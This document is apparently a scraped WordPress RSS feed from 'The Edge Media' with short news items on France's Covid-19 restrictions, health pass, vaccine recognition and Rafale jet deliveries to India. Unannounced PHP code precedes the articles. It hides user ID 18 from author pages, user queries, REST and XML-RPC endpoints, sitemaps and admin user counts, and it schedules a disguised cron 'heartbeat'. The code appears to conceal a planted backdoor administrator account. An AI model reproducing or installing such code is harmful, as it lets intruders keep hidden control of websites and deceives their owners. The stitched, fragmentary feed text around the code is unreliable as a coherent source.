add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post France , battling the Fourth wave of Covid, imposes new restrictions. appeared first on The Edge Media.
]]>The government also announced it was reactivating a package of measures designed to support medical staff as they brace for a fresh intake of cases.
More of France’s popular coastal areas, meanwhile, reintroduced the compulsory wearing of masks in a bid to stem the incoming coronavirus tide.
The news came a day after Guadalupe became the third of France’s overseas territories to announce a return to partial lockdown because of a “Catastrophic” surge in Covid cases there.
The post France , battling the Fourth wave of Covid, imposes new restrictions. appeared first on The Edge Media.
]]>The post New variant will probably emerge in the winters, warns Jean-Francois Delfraissy appeared first on The Edge Media.
]]>The country is currently battling an unprecedented spike in new cases caused by the more infectious Delta variant, which was first recorded in India.
“We will probably have another variant arrive during the winter,” Jean-Francois Delfraissy, head of the French government’s scientific council, told the BFM news channel.
He said that he could not predict the consequences, or whether it would be more dangerous, adding that Covid-19 had “relatively limited” capacities to mutate.
The infectious diseases specialist urged French people to return to social distancing and mask-wearing, and said a “return to normal” would probably be in 2022 or 2023.
The big challenge for the next couple of years will be how are we going to co-exist, with two worlds: countries that are vaccinated and those that are not,” he said.
The post New variant will probably emerge in the winters, warns Jean-Francois Delfraissy appeared first on The Edge Media.
]]>The post “Health pass” is a must for all events in France appeared first on The Edge Media.
]]>The so-called “health pass” will be required for all events or places with more than 50 people, before being extended to restaurants, cafes and large shopping centres in August.
The government, which is set to formalise the system with legislation being debated in parliament, is hoping to curb a fourth wave of infections and encourage people to get vaccinated.
Health Minister Olivier Veran warned Tuesday that the more infectious Delta variant was causing an unprecedented increase in new infections, which were up 150 percent over a week at 18,000 in the previous 24 hours.
President Emmanuel Macron met with top ministers on Wednesday to discuss the health crisis, and Prime Minister Jean Castex was due to speak on television afterwards.
The post “Health pass” is a must for all events in France appeared first on The Edge Media.
]]>The post France allows visitors with Indian-made AstraZeneca vaccine. appeared first on The Edge Media.
]]>The move to accept visitors vaccinated with AstraZeneca’s vaccine made by India’s Serum Institute came after a global outcry over the fact that the European Union’s Covid-19 certificate only recognises AstraZeneca vaccines manufactured in Europe.
At the same time, France is tightening border checks to control the spread of the delta variant and protect hospitals, according to a statement from the Prime Minister on saturday.
France still doest recognise vaccinations by Chinese or Russian vaccines, only those authorised by the EU drug regulator.
The post France allows visitors with Indian-made AstraZeneca vaccine. appeared first on The Edge Media.
]]>The post India will have an important role to play in the mass production of COVID vaccine says the ambassador of France appeared first on The Edge Media.
]]>India is a leading manufacturer of vaccines and generic drugs globally.
Several research institutes in India are also working on separate programmes to find a vaccine for the coronavirus.
French ambassador Emmanuel Lenain told PTI in an interview that India will have an important role to play in the mass production of medicines and vaccines for coronavirus infection once the treatment for the deadly disease is found.
“It is very important for states to coordinate if we want the COVID-19 vaccine and/or medicines to be produced and distributed equitably worldwide. India will have an important role to play as a producer of medicines and vaccines,” said the ambassador.
The French ambassador’s comments also came in the backdrop of efforts by a large number of countries as well as the 27-nation European Union to ensure equitable access to any vaccine or medicine for the treatment of coronavirus infection through their mass production under voluntary patenting.
The issue figured prominently at the recent two-day conference of the World Health Organisation where many countries pressed for making the vaccine available to all countries and not only to those who have deep pockets.
“France and India have supported the European resolution (at the WHO) for universal, timely and equitable access to all necessary products for countering the pandemic, and underscored the role of extensive immunization against COVID-19 as a global public good,” he said.
Since the coronavirus crisis broke out, India has been pitching for a coordinated global approach in containing the pandemic. India has already supplied 446 million Hydroxychloroquine tablets and 1.54 billion Paracetamol tablets to 133 countries, drawing praise from a number of global leaders.
Last week, India’s Foreign Secretary Harsh Vardhan Shringla said the coronavirus pandemic has reaffirmed India’s role as a “pharmacy of the world.
In the interview, Lenain also said that the coronavirus crisis has shown that France and India’s push for multilateralism is the right option for the current century. “None of the major issues that structure the future of the world like healthcare and environment can be dealt with in an isolated manner,” he said.
“I am delighted that the reform of the WHO, which France encourages, has found favour in India. India and France have coordinated well and continue to do so. However, we can do much more together,” he said.
The post India will have an important role to play in the mass production of COVID vaccine says the ambassador of France appeared first on The Edge Media.
]]>The post No delay in delivery of 36 Rafale jets to India says, the French ambassador. appeared first on The Edge Media.
]]>
“There will be no delay in delivery of 36 Rafale jets to India as the timeline finalized for the supply of the fighter jets will be strictly respected”.
“The contractual delivery schedule of the Rafale jets has been perfectly respected till now, and, in fact, a new aircraft was handed over to the Indian Air Force in end-April in France, in keeping with the contract,” French ambassador Emmanuel Lenain said.
Defence Minister Rajnath Singh received the first Rafale jet at an airbase in France on October 8. “We are helping the Indian Air Force in arranging for the ferry flight of their first four Rafales from France to India as soon as possible. So there’s no reason today to speculate that the schedule will not be maintained,” the envoy said.
France is reeling under swelling cases of coronavirus and has emerged as one of the worst-hit in Europe. Over 1,45,000 people were infected by the virus while the death toll stood at 28,330. There were apprehensions that the delivery of Rafale jets could be delayed due to the pandemic.
However, Lenain asserted that the original timeline for delivery of the jets will be adhered to. The aircraft is capable of carrying a range of potent weapons. European missile maker MBDA’s Meteor beyond visual range air-to-air missile and Scalp cruise missile will be the mainstay of the weapons package of the Rafale jets.
Meteor is the next generation of BVR air-to-air missile (BVRAAM) designed to revolutionize air-to-air combat. The weapon has been developed by MBDA to combat common threats facing the UK, Germany, Italy, France, Spain, and Sweden.
Besides the missile systems, the Rafale jets will come with various India-specific modifications, including Israeli helmet-mounted displays, radar warning receivers, low band jammers, 10-hour flight data recording, infra-red search and tracking systems. — PTI
The post No delay in delivery of 36 Rafale jets to India says, the French ambassador. appeared first on The Edge Media.
]]>